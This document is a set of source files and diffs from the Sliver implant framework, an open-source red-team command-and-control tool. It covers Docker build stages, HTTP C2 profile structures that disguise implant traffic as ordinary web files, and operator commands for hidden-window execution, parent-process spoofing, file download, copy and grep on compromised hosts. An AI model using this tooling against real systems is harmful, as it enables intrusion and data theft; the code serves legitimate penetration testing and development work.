# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM --platform=linux/amd64 base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
# STAGE: production
## Final dockerized form of Sliver
FROM --platform=linux/amd64 debian:bookworm-slim as production
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
libxml2 libxml2-dev libxslt-dev locate gnupg \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall \
&& mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete
### Cleanup unneeded packages
RUN apt-get remove -y curl gnupg \
&& apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages
RUN apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
+2 -2
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,go_sqlite
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 20
MIN_SUPPORTED_GO_MINOR_VERSION = 21
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
+2 -7
View File
@@ -61,14 +61,9 @@ def docker_rm_all():
def build():
status = exec_cmd("docker build -t sliver .")
status = exec_cmd("docker build --target test .")
if status == 0:
print(
INFO
+ "Build successful, start with %sdocker run -it sliver:latest%s"
% (BOLD, NORM)
)
print(INFO + "Remember you'll need to manually forward network ports")
print("\n\n" + INFO + "Build successful")
def main(args):
+86
View File
@@ -0,0 +1,86 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig HTTPC2ServerConfig `json:"server_config"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
+2 -2
View File
@@ -21,7 +21,7 @@ package alias
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
data, err := os.ReadFile(manifestPath)
if err != nil {
continue
}
+4 -5
View File
@@ -20,7 +20,6 @@ package alias
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -50,7 +49,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
@@ -78,7 +77,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -133,7 +132,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -166,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
err = os.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
+1 -1
View File
@@ -36,7 +36,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
+1 -1
View File
@@ -32,7 +32,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ErrPackageNotFound - The package was not found
+1 -1
View File
@@ -33,7 +33,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
+437
View File
@@ -0,0 +1,437 @@
package c2profiles
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"io"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintC2Profiles(profile, con)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
overwrite, _ := cmd.Flags().GetBool("overwrite")
// retrieve and unmarshal profile config
jsonFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
byteFile, _ := io.ReadAll(jsonFile)
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
err = json.Unmarshal(byteFile, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
httpC2Headers := []*clientpb.HTTPC2Header{}
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
for _, cookie := range config.ServerConfig.Cookies {
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
Name: cookie,
})
}
serverConfig := &clientpb.HTTPC2ServerConfig{
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
return &clientpb.HTTPC2Config{
Name: profileName,
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Parameter",
"Value",
})
// Profile metadata
tw.AppendRow(table.Row{
"Profile Name",
profile.Name,
})
// Server side configuration
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
strings.Join(serverHeaders[:], ","),
})
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
tw.AppendRow(table.Row{
"Server Cookies",
strings.Join(serverCookies[:], ","),
})
tw.AppendRow(table.Row{
"Randomize Server Headers",
profile.ServerConfig.RandomVersionHeaders,
})
// Client side configuration
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
strings.Join(clientHeaders[:], ","),
})
var clientUrlParams []string
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
}
tw.AppendRow(table.Row{
"Extra URL Parameters",
strings.Join(clientUrlParams[:], ","),
})
tw.AppendRow(table.Row{
"User agent",
profile.ImplantConfig.UserAgent,
})
tw.AppendRow(table.Row{
"Chrome base version",
profile.ImplantConfig.ChromeBaseVersion,
})
tw.AppendRow(table.Row{
"MacOS version",
profile.ImplantConfig.MacOSVersion,
})
tw.AppendRow(table.Row{
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
con.Println("\n")
}
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := ""
var choices []string
for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name)
}
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
return c2profile
}
+3 -3
View File
@@ -21,7 +21,7 @@ package dllhijack
import (
"context"
"fmt"
"io/ioutil"
"os"
"github.com/spf13/cobra"
@@ -58,7 +58,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
localRefData, err = os.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
@@ -70,7 +70,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
targetDLLData, err = os.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+15 -9
View File
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
args = args[1:]
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
@@ -64,16 +65,21 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
if token || hidden || ppid != 0 {
if session.OS != "windows" {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: ppid,
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
HideWindow: hidden,
PPid: ppid,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+3 -2
View File
@@ -56,8 +56,9 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
Request: con.ActiveTarget.Request(cmd),
RestrictedToFile: true,
Path: filePath,
})
ctrl <- true
<-ctrl
+82
View File
@@ -0,0 +1,82 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if len(args) != 2 {
con.PrintErrorf("Please specify a source and destination filename.\n")
return
}
src := args[0]
dst := args[1]
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cp.Src, cp.Dst = src, dst
if cp.Response != nil && cp.Response.Async {
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(cp.Response)
} else {
PrintCp(cp, con)
}
return
}
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err)
return
}
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
}
+10 -4
View File
@@ -51,9 +51,10 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
RestrictedToFile: false,
})
ctrl <- true
<-ctrl
@@ -119,7 +120,12 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
}
remotePath := args[0]
localPath := args[1]
var localPath string
if len(args) == 1 {
localPath = "."
} else {
localPath = args[1]
}
saveLoot, _ := cmd.Flags().GetBool("loot")
if download.ReadFiles == 0 {
+304
View File
@@ -0,0 +1,304 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/fatih/color"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const maxLinesDisplayed = 50
func processFlags(searchPattern string, insensitive bool, exact bool) string {
if !insensitive && !exact {
return searchPattern
}
var processedSearchPattern = searchPattern
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
if insensitive {
if flagsSpecifiedIndex != nil {
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
flags := searchPattern[:flagsSpecifiedIndex[1]]
if !strings.Contains(flags, "i") {
processedSearchPattern = "(?i" + searchPattern[2:]
}
} else {
processedSearchPattern = "(?i)" + processedSearchPattern
}
}
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
if exact {
var endIndexOfFlags = 0
if flagsSpecifiedIndex != nil {
endIndexOfFlags = flagsSpecifiedIndex[1]
}
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
} else {
processedSearchPattern = `(^|\s)` + processedSearchPattern
}
if strings.HasSuffix(processedSearchPattern, "$") {
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
} else {
processedSearchPattern = processedSearchPattern + `(\s|$)`
}
}
return processedSearchPattern
}
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
searchPattern := args[0]
searchPath := args[1]
recursive, _ := cmd.Flags().GetBool("recursive")
insensitive, _ := cmd.Flags().GetBool("insensitive")
exact, _ := cmd.Flags().GetBool("exact")
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
// Sanity check the search pattern to validate that it is a valid regex
_, err := regexp.Compile(searchPattern)
if err != nil {
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
return
}
// Context overrides individual values for before and after
var linesBefore int32 = 0
var linesAfter int32 = 0
if cmd.Flags().Changed("context") {
linesBefore, _ = cmd.Flags().GetInt32("context")
linesAfter = linesBefore
} else {
linesBefore, _ = cmd.Flags().GetInt32("before")
linesAfter, _ = cmd.Flags().GetInt32("after")
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
Request: con.ActiveTarget.Request(cmd),
SearchPattern: searchPatternProcessed,
Path: searchPath,
Recursive: recursive,
LinesBefore: linesBefore,
LinesAfter: linesAfter,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if grep.Response != nil && grep.Response.Async {
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, grep)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
// Using args[0] so that the operator's original input is preserved
printGrep(grep, args[0], searchPath, cmd, con)
})
con.PrintAsyncResponse(grep.Response)
} else {
printGrep(grep, args[0], searchPath, cmd, con)
}
}
// printGrep - Print the results from the grep operation to stdout
